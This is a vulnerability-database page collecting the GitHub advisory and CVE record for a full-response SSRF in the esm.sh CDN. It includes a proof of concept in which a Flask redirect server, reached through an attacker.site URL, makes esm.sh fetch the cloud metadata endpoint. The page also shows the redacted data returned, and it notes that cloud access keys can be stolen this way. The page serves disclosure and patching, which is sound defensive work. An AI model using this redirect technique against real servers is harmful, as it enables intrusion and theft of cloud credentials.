Vulnerability-Lookup

GHSA-3C9R-837R-QQM4

Vulnerability from github – Published: 2026-02-25 15:19 – Updated: 2026-02-27 20:56

Summary

esm.sh is vulnerable to full-response SSRF

Details

Summary

esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.

Details

Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511

If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.

eg: https://esm.sh/https://local.site/test.md

".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"

A 302 redirect can be used to bypass the suffix restriction.

eg: https://esm.sh/https://attacker.site/test.md

https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json

PoC

Use Flask to start a server that returns a 302 redirect.

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/test.md')
def redirect_test():
    return redirect("http://169.254.169.254/v1.json", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Let esh.sh visit this site.

https://esm.sh/https://attacker.site/test.md

Attacker can obtain data from http://169.254.169.254/v1.json.

var t=`<p>&lbrace;&quot;bgp&quot;:&lbrace;&quot;ipv4&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;&rbrace;,&quot;hostname&quot;:&quot;****&quot;,&quot;instance-v2-id&quot;:&quot;****&quot;,&quot;instanceid&quot;:&quot;****&quot;,&quot;interfaces&quot;:[&lbrace;&quot;ipv4&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;gateway&quot;:&quot;****&quot;,&quot;netmask&quot;:&quot;****&quot;,&quot;routes&quot;:[&lbrace;&quot;netmask&quot;:32,&quot;network&quot;:&quot;****&quot;&rbrace;]&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;network&quot;:&quot;****&quot;,&quot;prefix&quot;:&quot;64&quot;&rbrace;,&quot;mac&quot;:&quot;****&quot;,&quot;network-type&quot;:&quot;public&quot;&rbrace;],&quot;nvidia-driver&quot;:[],&quot;public-keys&quot;:[&quot;****&quot;],&quot;region&quot;:&lbrace;&quot;countrycode&quot;:&quot;US&quot;,&quot;regioncode&quot;:&quot;SJC&quot;&rbrace;,&quot;tags&quot;:[]&rbrace;</p>
`,o={},u=t;export{u as default,t as html,o as meta};

Decode the data (redacted) .

{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}

Impact

An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.

Fix

It is recommended to use safeurl.Client as a replacement for http.Client.

https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13

https://github.com/doyensec/safeurl

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250616164159-0593516c4cfa"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-50180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T15:19:41Z",
    "nvd_published_at": "2026-02-25T16:23:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nesh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.\n\n### Details\n\nVulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511\n\nIf the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.\n\neg: https://esm.sh/https://local.site/test.md\n\n```\n\".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"\n```\n\nA 302 redirect can be used to bypass the suffix restriction.\n\neg: https://esm.sh/https://attacker.site/test.md \n\nhttps://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json\n\n### PoC\n\nUse Flask to start a server that returns a 302 redirect.\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route(\u0027/test.md\u0027)\ndef redirect_test():\n    return redirect(\"http://169.254.169.254/v1.json\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=80)\n```\n\nLet esh.sh visit this site.\n\nhttps://esm.sh/https://attacker.site/test.md\n\nAttacker can obtain data from http://169.254.169.254/v1.json.\n\n```\nvar t=`\u003cp\u003e\u0026lbrace;\u0026quot;bgp\u0026quot;:\u0026lbrace;\u0026quot;ipv4\u0026quot;:\u0026lbrace;\u0026quot;my-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;my-asn\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-asn\u0026quot;:\u0026quot;\u0026quot;\u0026rbrace;,\u0026quot;ipv6\u0026quot;:\u0026lbrace;\u0026quot;my-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;my-asn\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-asn\u0026quot;:\u0026quot;\u0026quot;\u0026rbrace;\u0026rbrace;,\u0026quot;hostname\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;instance-v2-id\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;instanceid\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;interfaces\u0026quot;:[\u0026lbrace;\u0026quot;ipv4\u0026quot;:\u0026lbrace;\u0026quot;additional\u0026quot;:[],\u0026quot;address\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;gateway\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;netmask\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;routes\u0026quot;:[\u0026lbrace;\u0026quot;netmask\u0026quot;:32,\u0026quot;network\u0026quot;:\u0026quot;****\u0026quot;\u0026rbrace;]\u0026rbrace;,\u0026quot;ipv6\u0026quot;:\u0026lbrace;\u0026quot;additional\u0026quot;:[],\u0026quot;address\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;network\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;prefix\u0026quot;:\u0026quot;64\u0026quot;\u0026rbrace;,\u0026quot;mac\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;network-type\u0026quot;:\u0026quot;public\u0026quot;\u0026rbrace;],\u0026quot;nvidia-driver\u0026quot;:[],\u0026quot;public-keys\u0026quot;:[\u0026quot;****\u0026quot;],\u0026quot;region\u0026quot;:\u0026lbrace;\u0026quot;countrycode\u0026quot;:\u0026quot;US\u0026quot;,\u0026quot;regioncode\u0026quot;:\u0026quot;SJC\u0026quot;\u0026rbrace;,\u0026quot;tags\u0026quot;:[]\u0026rbrace;\u003c/p\u003e\n`,o={},u=t;export{u as default,t as html,o as meta};\n```\n\nDecode the data (redacted) .\n\n```json\n{\"bgp\":{\"ipv4\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"},\"ipv6\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"}},\"hostname\":\"****\",\"instance-v2-id\":\"****\",\"instanceid\":\"****\",\"interfaces\":[{\"ipv4\":{\"additional\":[],\"address\":\"****\",\"gateway\":\"****\",\"netmask\":\"****\",\"routes\":[{\"netmask\":32,\"network\":\"****\"}]},\"ipv6\":{\"additional\":[],\"address\":\"****\",\"network\":\"****\",\"prefix\":\"64\"},\"mac\":\"****\",\"network-type\":\"public\"}],\"nvidia-driver\":[],\"public-keys\":[\"****\"],\"region\":{\"countrycode\":\"US\",\"regioncode\":\"SJC\"},\"tags\":[]}\n```\n\n### Impact\n\nAn attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.\n\n### Fix\n\nIt is recommended to use `safeurl.Client` as a replacement for `http.Client`.\n\nhttps://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13\n\nhttps://github.com/doyensec/safeurl",
  "id": "GHSA-3c9r-837r-qqm4",
  "modified": "2026-02-27T20:56:15Z",
  "published": "2026-02-25T15:19:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/pull/1149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "esm.sh is vulnerable to full-response SSRF"
}

CVE-2025-50180 (GCVE-0-2025-50180)

Vulnerability from cvelistv5 – Published: 2026-02-25 15:32 – Updated: 2026-02-27 18:22

Title

esm.sh is vulnerable to full-response SSRF

Summary

esm.sh is a no-build content delivery network (CDN) for web development. In version 136, esm.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability. Version 137 fixes the vulnerability.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-02-27 18:22 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

6 references

URL	Tags
https://github.com/esm-dev/esm.sh/security/adviso…	x_refsource_CONFIRM
https://github.com/esm-dev/esm.sh/pull/1149	x_refsource_MISC
https://github.com/esm-dev/esm.sh/commit/0593516c…	x_refsource_MISC
https://github.com/esm-dev/esm.sh/blob/f80ff8c8d5…	x_refsource_MISC
https://github.com/esm-dev/esm.sh/blob/f80ff8c8d5…	x_refsource_MISC
https://github.com/esm-dev/esm.sh/releases/tag/v137	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
esm-dev	esm.sh	Affected: = 136

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-50180",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-27T18:22:22.078547Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-27T18:22:28.728Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "esm.sh",
          "vendor": "esm-dev",
          "versions": [
            {
              "status": "affected",
              "version": "= 136"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "esm.sh is a no-build content delivery network (CDN) for web development. In version 136, esm.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability. Version 137 fixes the vulnerability."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-25T15:36:03.109Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4"
        },
        {
          "name": "https://github.com/esm-dev/esm.sh/pull/1149",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/esm-dev/esm.sh/pull/1149"
        },
        {
          "name": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
        },
        {
          "name": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13"
        },
        {
          "name": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511"
        },
        {
          "name": "https://github.com/esm-dev/esm.sh/releases/tag/v137",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
        }
      ],
      "source": {
        "advisory": "GHSA-3c9r-837r-qqm4",
        "discovery": "UNKNOWN"
      },
      "title": "esm.sh is vulnerable to full-response SSRF"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-50180",
    "datePublished": "2026-02-25T15:32:56.449Z",
    "dateReserved": "2025-06-13T19:17:51.726Z",
    "dateUpdated": "2026-02-27T18:22:28.728Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-3C9R-837R-QQM4

Summary

Details

PoC

Impact

Fix

CVE-2025-50180 (GCVE-0-2025-50180)

Tags

Sightings

Nomenclature

Related by attack behaviour